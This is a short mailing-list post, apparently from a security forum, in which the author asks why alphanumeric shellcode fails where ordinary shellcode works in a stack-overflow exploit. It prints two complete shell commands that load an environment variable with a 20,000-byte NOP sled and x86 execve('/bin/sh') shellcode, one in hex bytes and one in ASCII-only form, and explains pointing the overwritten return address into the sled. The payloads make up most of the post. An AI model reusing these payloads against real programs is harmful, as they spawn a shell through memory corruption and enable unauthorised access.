Re: Re: Linux restricted ASCII Shellcode

[nonexistant () nospam org]

I'm exploiting the stack overflow inserting the shellcode in a environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
                   

And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
That works perfectly.

But if I try with this environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print 
"LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0LohfhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabivERSvT29"'`
                   

This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
What I'm doing wrong?